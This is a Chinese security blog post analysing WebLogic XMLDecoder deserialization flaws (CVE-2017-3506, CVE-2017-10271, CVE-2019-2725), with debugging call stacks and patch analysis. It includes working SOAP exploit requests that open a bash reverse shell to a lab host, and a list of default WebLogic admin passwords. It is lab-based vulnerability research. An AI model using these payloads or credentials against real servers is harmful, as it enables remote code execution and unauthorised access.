Java安全之Weblogic漏洞分析与利用(下)
2023-11-3 13:52:24 Author: xz.aliyun.com(查看原文) 阅读量:27 收藏

1. 简介

官方介绍:Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。类似于Tomcat、Jboss等。

在上篇文章Java安全之Weblogic漏洞分析与利用(上)中分析了部分Weblogic的漏洞的原理及利用方式,本文继续探索更多的漏洞原理。

2. 基于XML反序列化漏洞

2.1 前置知识

XMLDecoder
官方文档解释

The XMLDecoder class is used to read XML documents created using the XMLEncoder and is used just like the ObjectInputStream.

package: java.beans
example:

XMLDecoder d = new XMLDecoder(
                    new BufferedInputStream(
                        new FileInputStream("Test.xml")));
Object result = d.readObject();
d.close();

Constructor and Method:

XMLDecoder(InputSource is)
//Creates a new decoder to parse XML archives created by the XMLEncoder class.

XMLDecoder(InputStream in)
//Creates a new input stream for reading archives created by the XMLEncoder class.
//...

Object readObject()
//Reads the next object from the underlying input stream.
//...

XMLEncoder:
官方文档解释

The XMLEncoder class is a complementary alternative to the ObjectOutputStream and can used to generate a textual representation of a JavaBean in the same way that the ObjectOutputStream can be used to create binary representation of Serializable objects.

example:

XMLEncoder e = new XMLEncoder(
                    new BufferedOutputStream(
                        new FileOutputStream("Test.xml")));
e.writeObject(new JButton("Hello, world"));
e.close();

Constructor and Method:

XMLEncoder(OutputStream out)
//Creates a new XML encoder to write out JavaBeans to the stream out using an XML encoding.
//...

void writeObject(Object o)
//Write an XML representation of the specified object to the output.

2.2 XMLDecoder反序列化测试

测试类:

package XmlDecoder;

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class XmlDecoderTest {
    public static void main(String[] args) throws FileNotFoundException {
        XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("C:\\code\\javacode\\java-sec\\src\\main\\java\\XmlDecoder\\poc.xml")));
        Object o = xmlDecoder.readObject();
        xmlDecoder.close();
    }
}

测试poc.xml

<java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>cmd</string>
            </void>
            <void index="1">
                <string>/C</string>
            </void>
            <void index="2">
                <string>calc</string>
            </void>
        </array>
        <void method="start"/></void>
</java>

命令执行成功
流程分析
关键函数:

public boolean scanDocument(boolean complete)
throws IOException, XNIException {

    // keep dispatching "events"
    fEntityManager.setEntityHandler(this);
    //System.out.println(" get Document Handler in NSDocumentHandler " + fDocumentHandler );

    int event = next();
    do {
        switch (event) {
            // 7
            case XMLStreamConstants.START_DOCUMENT :
                //fDocumentHandler.startDocument(fEntityManager.getEntityScanner(),fEntityManager.getEntityScanner().getVersion(),fNamespaceContext,null);// not able to get
                break;
            // 1
            case XMLStreamConstants.START_ELEMENT :
                //System.out.println(" in scann element");
                //fDocumentHandler.startElement(getElementQName(),fAttributes,null);
                break;
            // 4
            case XMLStreamConstants.CHARACTERS :
                fDocumentHandler.characters(getCharacterData(),null);
                break;
            case XMLStreamConstants.SPACE:
                //check if getCharacterData() is the right function to retrieve ignorableWhitespace information.
                //System.out.println("in the space");
                //fDocumentHandler.ignorableWhitespace(getCharacterData(), null);
                break;
            case XMLStreamConstants.ENTITY_REFERENCE :
                //entity reference callback are given in startEntity
                break;
            case XMLStreamConstants.PROCESSING_INSTRUCTION :
                fDocumentHandler.processingInstruction(getPITarget(),getPIData(),null);
                break;
            case XMLStreamConstants.COMMENT :
                //System.out.println(" in COMMENT of the XMLNSDocumentScannerImpl");
                fDocumentHandler.comment(getCharacterData(),null);
                break;
            case XMLStreamConstants.DTD :
                //all DTD related callbacks are handled in DTDScanner.
                //1. Stax doesn't define DTD states as it does for XML Document.
                //therefore we don't need to take care of anything here. So Just break;
                break;
            case XMLStreamConstants.CDATA:
                fDocumentHandler.startCDATA(null);
                //xxx: check if CDATA values comes from getCharacterData() function
                fDocumentHandler.characters(getCharacterData(),null);
                fDocumentHandler.endCDATA(null);
                //System.out.println(" in CDATA of the XMLNSDocumentScannerImpl");
                break;
            case XMLStreamConstants.NOTATION_DECLARATION :
                break;
            case XMLStreamConstants.ENTITY_DECLARATION :
                break;
            case XMLStreamConstants.NAMESPACE :
                break;
            case XMLStreamConstants.ATTRIBUTE :
                break;
            // 2
            case XMLStreamConstants.END_ELEMENT :
                //do not give callback here.
                //this callback is given in scanEndElement function.
                //fDocumentHandler.endElement(getElementQName(),null);
                break;
            default :
                throw new InternalError("processing event: " + event);

        }
        //System.out.println("here in before calling next");
        event = next();
        //System.out.println("here in after calling next");
    } while (event!=XMLStreamConstants.END_DOCUMENT && complete);

    if(event == XMLStreamConstants.END_DOCUMENT) {
        fDocumentHandler.endDocument(null);
        return false;
    }

    return true;

} // scanDocument(boolean):boolean

这个函数是扫描xml文档的一个方法,逐个标签读取,同时会读取到换行符
对于以上poc,解析流程为:714 14 14 14 14(cmd) 24 24 14 14(/C) 24 24 14 14(calc) 24 24 24 124 28
这里的关键逻辑都在next中
比如在解析<void class="java.lang.ProcessBuilder">时,函数调用栈如下:

addAttribute:84, NewElementHandler (com.sun.beans.decoder)
addAttribute:102, ObjectElementHandler (com.sun.beans.decoder)
startElement:294, DocumentHandler (com.sun.beans.decoder)
startElement:509, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanStartElement:1364, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2787, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:606, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:510, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:848, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:777, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:76, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:11, XmlDecoderTest (XmlDecoder)

从next开始,首先进入XMLDocumentScannerImpl类的next方法

public int next() throws IOException, XNIException {
    return fDriver.next();
}

这里的fDriver是XMLDocumentScannerImpl对象,接下来到XMLDocumentFragmentScannerImpl的next方法
这个方法比较长。主要是根据fScannerState参数来选择对应的case
这里进入这个case

case SCANNER_STATE_START_ELEMENT_TAG :{

    //xxx this function returns true when element is empty.. can be linked to end element event.
    //returns true if the element is empty
    // 扫描
    fEmptyElement = scanStartElement() ;
    //if the element is empty the next event is "end element"
    if(fEmptyElement){
        setScannerState(SCANNER_STATE_END_ELEMENT_TAG);
    }else{
        //set the next possible state
        setScannerState(SCANNER_STATE_CONTENT);
    }
    return XMLEvent.START_ELEMENT ;
}

XMLDocumentFragmentScannerImpl类的scanStartElement方法主要作用是解析标签及其属性

来到AbstractSAXParser类的startElement方法

fContentHandler.startElement(uri, localpart, element.rawname,
                                             fAttributesProxy);

进入这句,fContentHandler为DocumentHandler,进入DocumentHandler的startElement方法

public void startElement(String var1, String var2, String var3, Attributes var4) throws SAXException {
    ElementHandler var5 = this.handler;

    try {
        // 创建一个新的ElementHandler实例,并通过反射设置其所有者和父级处理器
        this.handler = (ElementHandler)this.getElementHandler(var3).newInstance();
        this.handler.setOwner(this);
        this.handler.setParent(var5);
    } catch (Exception var10) {
        throw new SAXException(var10);
    }
    // 遍历属性列表,并将属性添加到当前处理器中
    for(int var6 = 0; var6 < var4.getLength(); ++var6) {
        try {
            String var7 = var4.getQName(var6);
            String var8 = var4.getValue(var6);
            // 这里
            this.handler.addAttribute(var7, var8);
        } catch (RuntimeException var9) {
            this.handleException(var9);
        }
    }

    this.handler.startElement();
}


这里的this.handler指的是VoidElementHandler对象
可以进入getElementHandler函数,此时的var1是void

public Class<? extends ElementHandler> getElementHandler(String var1) {
    Class var2 = (Class)this.handlers.get(var1);
    if (var2 == null) {
        throw new IllegalArgumentException("Unsupported element: " + var1);
    } else {
        return var2;
    }
}


所以最后得到的this.handler是VoidElementHandler对象对象
继续往下跟,来到ObjectElementHandler的addAttribute方法

public final void addAttribute(String var1, String var2) {
    if (var1.equals("idref")) {
        this.idref = var2;
    } else if (var1.equals("field")) {
        this.field = var2;
    } else if (var1.equals("index")) {
        this.index = Integer.valueOf(var2);
        this.addArgument(this.index);
    } else if (var1.equals("property")) {
        this.property = var2;
    } else if (var1.equals("method")) {
        this.method = var2;
    } else {
        // 进入到这里
        super.addAttribute(var1, var2);
    }
}

这里传入的var1是"class",var2是"java.lang.ProcessBuilder"
进入父类的addAttribute方法

public void addAttribute(String var1, String var2) {
    if (var1.equals("class")) {
        // 通过反射生成var2对应的对象
        this.type = this.getOwner().findClass(var2);
    } else {
        super.addAttribute(var1, var2);
    }
}


也可以进去看看,this.getOwner()得到的是DocumentHandler对象,调用其findClass方法,该方法中又调用ClassFinder.resolveClass方法,其方法中调用了ClassFinder.findClass方法

public static Class<?> findClass(String var0, ClassLoader var1) throws ClassNotFoundException {
    ReflectUtil.checkPackageAccess(var0);
    if (var1 != null) {
        try {
            // var0是类名,通过反射获取类
            return Class.forName(var0, false, var1);
        } catch (ClassNotFoundException var3) {
        } catch (SecurityException var4) {
        }
    }
    // 调用重载方法,作用也是一样
    return findClass(var0);
}

其他元素的解析流程大致类似
再来看看字符串是如何解析的,如下面这句

先解析<string>标签,创建StringElementHandler对象
然后再解析calc字符串
进入到对应的case中

case XMLStreamConstants.CHARACTERS :
    fDocumentHandler.characters(getCharacterData(),null);
    break;

进入fDocumentHandler.characters方法,这里传入的是calc字符串。此时的fDocumentHandler的handler参数是之前在解析<string>标签时创建StringElementHandler对象

继续进入characters方法

这里的var1正是poc字符,var2标识calc字符串的偏移,var3表示字符串的长度
this.handler是StringElementHandler对象,进入其addCharacter方法

经过4次循环,将calc字符串添加到StringElementHandler对象的sb属性中
至此,字符串的解析完成

再来看看最后一句的解析,这也触发了命令执行

<void method="start"/></void>

逐步调试,前面部分的流程和其他标签处理方法一致,进入ObjectElementHandler的getValueObject方法

protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
    if (this.field != null) {
        // 如果存在字段(field),则通过FieldElementHandler获取上下文Bean(contextBean)中字段的值,并创建一个ValueObjectImpl实例返回
        return ValueObjectImpl.create(FieldElementHandler.getFieldValue(this.getContextBean(), this.field));
    } else if (this.idref != null) {
        // 如果存在idref,则通过getVariable方法获取变量的值,并创建一个ValueObjectImpl实例返回
        return ValueObjectImpl.create(this.getVariable(this.idref));
    } else {
        Object var3 = this.getContextBean();
        String var4;
        if (this.index != null) {
            // 如果存在索引(index),根据var2的长度确定是设置方法还是获取方法
            var4 = var2.length == 2 ? "set" : "get";
        } else if (this.property != null) {
            // 如果存在属性(property),根据var2的长度确定是设置方法还是获取方法,并根据属性名构造对应的方法名
            var4 = var2.length == 1 ? "set" : "get";
            if (0 < this.property.length()) {
                var4 = var4 + this.property.substring(0, 1).toUpperCase(Locale.ENGLISH) + this.property.substring(1);
            }
        } else {
            // 如果存在方法(method),则使用指定的方法名,否则使用默认的"new"方法名
            var4 = this.method != null && 0 < this.method.length() ? this.method : "new";
        }
        // 创建一个Expression实例,用于调用指定的方法,并获取返回值
        Expression var5 = new Expression(var3, var4, var2);
        // 创建一个ValueObjectImpl实例,将Expression的返回值包装为ValueObjectImpl,并返回
        return ValueObjectImpl.create(var5.getValue());
    }
}

先进入NewElementHandler类的getContextBean方法

protected final Object getContextBean() {
    return this.type != null ? this.type : super.getContextBean();
}

这里的type为空,所以需要进入父类的getContextBean方法

其实根据poc的结构也知道,这里的父类就是type为ProcessBuilder对应的VoidElementHandler对象
此时继续进入父类的getValueObject方法

进入重载方法,同样先调用getContextBean(),由于此时type不为空,所以返回type
接着对于方法而言,由于方法为空,所以设置为new

这里相当于创建一个ProcessBuilder对象
继续回到解析<void method="start"/></void>的getValueObject方法,此时的var3经过getContextBean处理后的是ProcessBuilder对象

最后一行,调用了ProcessBuilder对象的start方法,命令执行成功
函数调用栈:

getValue:157, Expression (java.beans)
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:318, DocumentHandler (com.sun.beans.decoder)
endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
emptyElement:183, AbstractXMLDocumentParser (com.sun.org.apache.xerces.internal.parsers)
scanStartElement:1344, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2787, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:606, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:510, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:848, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:777, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:76, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:11, XmlDecoderTest (XmlDecoder)

Expression这个类,该类主要作用是动态调用指定对象的methodName方法.

参考
https://zhuanlan.zhihu.com/p/108754274

2.3 CVE-2017-3506分析

影响范围
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.0
WebLogic 12.2.1.1
WebLogic 12.2.1.2
CVE-2017-10271也是一致

默认受到影响的uri:

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

分析
原理大致和下面CVE-2017-10271一致
补丁分析

private void validate(InputStream is) {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try {
        SAXParser parser = factory.newSAXParser();
        parser.parse(is, new DefaultHandler() {
        public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
                throw new IllegalStateException("Invalid context type: object");
            }
        }
        });
    } catch (ParserConfigurationException var5) {
        throw new IllegalStateException("Parser Exception", var5);
    } catch (SAXException var6) {
        throw new IllegalStateException("Parser Exception", var6);
    } catch (IOException var7) {
        throw new IllegalStateException("Parser Exception", var7);
    }
}

这里就是将object标签进行过滤,绕过方式就是将object修改成void,也就是CVE-2017-10271

2.4 CVE-2017-10271分析

环境搭建
使用vulhub中的环境,修改docekr-compose.yml文件,加上8453端口的映射,使其能够调试
复现
exp:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.4.0" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>bash -i &gt;&amp; /dev/tcp/172.22.0.1/7777 0&gt;&amp;1</string>
                        </void> 
                    </array>
                    <void method="start"/>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

bp抓包

反弹shell成功
远程调试
进入容器,配置weblogic开启远程调试
/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh文件,加入以下内容

debugFlag="true"
export debugFlag


重启容器即可调试
将需要调试目录导出,放入IDEA,即可启动调试

sudo docker cp 9e239f7fb3ff:/root ./cve201710271Env
cd cve201710271Env/Oracle/Middleware
mkdir lib
find ./ -name "*.jar" -exec cp {} ./lib/ \;
find ./ -name "*.war" -exec cp {} ./lib/ \;

漏洞分析
函数调用栈:

readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)
receiveRequest:179, WorkContextLocalMap (weblogic.workarea)
receiveRequest:163, WorkContextMapImpl (weblogic.workarea)
receive:71, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
readHeaderOld:107, WorkContextTube (weblogic.wsee.jaxws.workcontext)
processRequest:43, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
__doRun:866, Fiber (com.sun.xml.ws.api.pipe)
_doRun:815, Fiber (com.sun.xml.ws.api.pipe)
doRun:778, Fiber (com.sun.xml.ws.api.pipe)
runSync:680, Fiber (com.sun.xml.ws.api.pipe)
process:403, WSEndpointImpl$2 (com.sun.xml.ws.server)
handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)
handle:253, HttpAdapter (com.sun.xml.ws.transport.http)
handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)
handle:171, WLSServletAdapter (weblogic.wsee.jaxws)
run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util)
run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws)
post:336, HttpServletAdapter (weblogic.wsee.jaxws)
doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)
service:99, AbstractAsyncServlet (weblogic.servlet.http)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

查看weblogic/wsee/jaxws/workcontext/WorkContextServerTube的processRequest方法

public NextAction processRequest(Packet var1) {
    this.isUseOldFormat = false;
    if (var1.getMessage() != null) {
        // 获取头部信息
        HeaderList var2 = var1.getMessage().getHeaders();
        // 从消息的头部列表中获取指定的头部信息
        Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
        if (var3 != null) {
            // 如果存在指定的头部信息,则使用旧的格式进行读取处理,并将isUseOldFormat标记为true
            // 这里
            this.readHeaderOld(var3);
            this.isUseOldFormat = true;
        }
        // 从消息的头部列表中获取JAX-WS工作区的头部信息
        Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
        if (var4 != null) {
             // 如果存在JAX-WS工作区的头部信息,则进行读取处理
            this.readHeader(var4);
        }
    }
    // 调用父类的processRequest方法进行进一步处理,并返回NextAction对象
    return super.processRequest(var1);
}


进入weblogic/wsee/jaxws/workcontext/WorkContextTube的readHeaderOld方法

protected void readHeaderOld(Header var1) {
    try {
        // 读取Header中的XML数据流
        XMLStreamReader var2 = var1.readHeader();
        var2.nextTag();
        var2.nextTag();
        // 创建XMLStreamReaderToXMLStreamWriter实例,用于将XMLStreamReader的数据桥接到XMLStreamWriter
        XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
        ByteArrayOutputStream var4 = new ByteArrayOutputStream();
        XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
        var3.bridge(var2, var5);
        var5.close();
        // 创建WorkContextXmlInputAdapter实例,并将XML数据流转换为适配器可接受的输入流
        WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
        // 调用receive方法处理适配器中的输入流
        this.receive(var6);
    } catch (XMLStreamException var7) {
        // 抛出WebServiceException异常,表示在处理XML数据流时出现错误
        throw new WebServiceException(var7);
    } catch (IOException var8) {
        // 抛出WebServiceException异常,表示在读取或处理输入流时出现错误
        throw new WebServiceException(var8);
    }
}

该方法将XML数据流转换为字节数组,并通过适配器将其转换为可处理的输入流。然后,调用receive方法处理适配器中的输入流
其中进入WorkContextXmlInputAdapter的构造函数,它实例化了一个XMLDecoder对象,并将输入的xml输入流作为参数,这与前面的测试例子一样,现在目标是需要调用readObject进行反序列化

public WorkContextXmlInputAdapter(InputStream var1) {
    this.xmlDecoder = new XMLDecoder(var1);
}


进入weblogic/wsee/jaxws/workcontext/WorkContextServerTube的receive方法

protected void receive(WorkContextInput var1) throws IOException {
    // 获取WorkContextMapInterceptor实例
    WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor();
    // 调用WorkContextMapInterceptor的receiveRequest方法,将WorkContextInput对象传递给拦截器进行处理
    var2.receiveRequest(var1);
}

这里的var1是前面创建的WorkContextXmlInputAdapter对象,后面的receiveRequest、receiveRequest、readEntry等方法中都是WorkContextXmlInputAdapter对象,直到进入weblogic/wsee/workarea/WorkContextXmlInputAdapter的readUTF方法

public String readUTF() throws IOException {
    return (String)this.xmlDecoder.readObject();
}

它调用了readObject方法对目标xml进行反序列化,从而触发命令执行。后面XMLDecoder的调用链和2.2中的测试是一致的
补丁分析

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }
               }
            }
         }
      });
   }
}

使用黑名单对上述标签进行了过滤

2.5 CVE-2019-2725分析

影响范围
WebLogic 10.X
WebLogic 12.1.3
影响uri

/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https

复现
exp:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:wsa="http://www.w3.org/2005/08/addressing"
                  xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
        <wsa:Action>xx</wsa:Action>
        <wsa:RelatesTo>xx</wsa:RelatesTo>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.4.0" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>bash -i &gt;&amp; /dev/tcp/172.22.0.1/7777 0&gt;&amp;1</string>
                        </void>
                    </array>
                    <void method="start"/>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
        <asy:onAsyncDelivery/>
    </soapenv:Body>
</soapenv:Envelope>


漏洞分析
函数调用栈:

readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)
receiveRequest:179, WorkContextLocalMap (weblogic.workarea)
receiveRequest:163, WorkContextMapImpl (weblogic.workarea)
handleRequest:27, WorkAreaServerHandler (weblogic.wsee.workarea)
handleRequest:141, HandlerIterator (weblogic.wsee.handler)
dispatch:114, ServerDispatcher (weblogic.wsee.ws.dispatch.server)
invoke:80, WsSkel (weblogic.wsee.ws)
handlePost:66, SoapProcessor (weblogic.wsee.server.servlet)
process:44, SoapProcessor (weblogic.wsee.server.servlet)
run:285, BaseWSServlet$AuthorizedInvoke (weblogic.wsee.server.servlet)
service:169, BaseWSServlet (weblogic.wsee.server.servlet)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

在weblogic/wsee/server/servlet/SoapProcessor中的process方法对soap消息进行了处理,post提交,调用其本类的handlePost方法进行处理

private void handlePost(BaseWSServlet var1, HttpServletRequest var2, HttpServletResponse var3) throws IOException {
    assert var1.getPort() != null;
    // 获取WsPort对象
    WsPort var4 = var1.getPort();
    // 获取绑定类型
    String var5 = var4.getWsdlPort().getBinding().getBindingType();
    // 创建HttpServerTransport实例,用于处理HTTP请求和响应
    HttpServerTransport var6 = new HttpServerTransport(var2, var3);
    // 获取WsSkel对象
    WsSkel var7 = (WsSkel)var4.getEndpoint();

    try {
        // 使用Connection工厂创建服务器连接
        Connection var8 = ConnectionFactory.instance().createServerConnection(var6, var5);
        var7.invoke(var8, var4);
    } catch (ConnectionException var9) {
        // 调用WsSkel的invoke方法,处理连接和WsPort对象
        this.sendError(var3, var9, "Failed to create connection");
    } catch (Throwable var10) {
        this.sendError(var3, var10, "Unknown error");
    }
}

中间的其他过程不管,来到weblogic/wsee/workarea/WorkAreaServerHandler中的handleRequest方法

public boolean handleRequest(MessageContext var1) {
    try {
        WlMessageContext var2 = WlMessageContext.narrow(var1);
        // 获取消息头部
        MsgHeaders var3 = var2.getHeaders();
        // 从消息头部获取WorkAreaHeader
        WorkAreaHeader var4 = (WorkAreaHeader)var3.getHeader(WorkAreaHeader.TYPE);
        if (var4 != null) {
            // 获取WorkContextMapInterceptor实例
            WorkContextMapInterceptor var5 = WorkContextHelper.getWorkContextHelper().getInterceptor();
            // 使用WorkContextXmlInputAdapter适配器接收请求
            var5.receiveRequest(new WorkContextXmlInputAdapter(var4.getInputStream()));
            if (verbose) {
                Verbose.log("Received WorkAreaHeader " + var4);
            }
        }

        return true;
    } catch (IOException var6) {
        throw new JAXRPCException("Unable to procees WorkContext:" + var6);
    }
}

前面也提到,WorkContextXmlInputAdapter的构造函数中new了一个XMLDecoder对象,传入的是soap header的wordcontext元素
接下来的步骤和CVE-2017-10271一致,其实它们的漏洞原理都是一致的
补丁分析
使用网上一张图

这里直接ban掉了class元素以及限制了array元素的长度

参考
https://co0ontty.github.io/2019/08/08/CVE_2019_2725.html
https://xz.aliyun.com/t/5024

2.6 参考

https://xz.aliyun.com/t/8465
https://xz.aliyun.com/t/1848
https://xz.aliyun.com/t/5046

3. 其他漏洞

3.1 弱口令

前置知识
后台常用默认弱口令:

system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
weblogic/Oracle@123

weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic
后台登录地址:/console/login/LoginForm.jsp
另外weblogic的密码使用AES加密(老版本使用3DES),对称密码在获取密文和密钥的情况下可解密,存放的文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml
环境
使用vulhub中的docker环境进行复现:

╭─dili@dili ~/vulhub/weblogic/weak_password ‹master› 
╰─$ sudo docker-compose up -d 

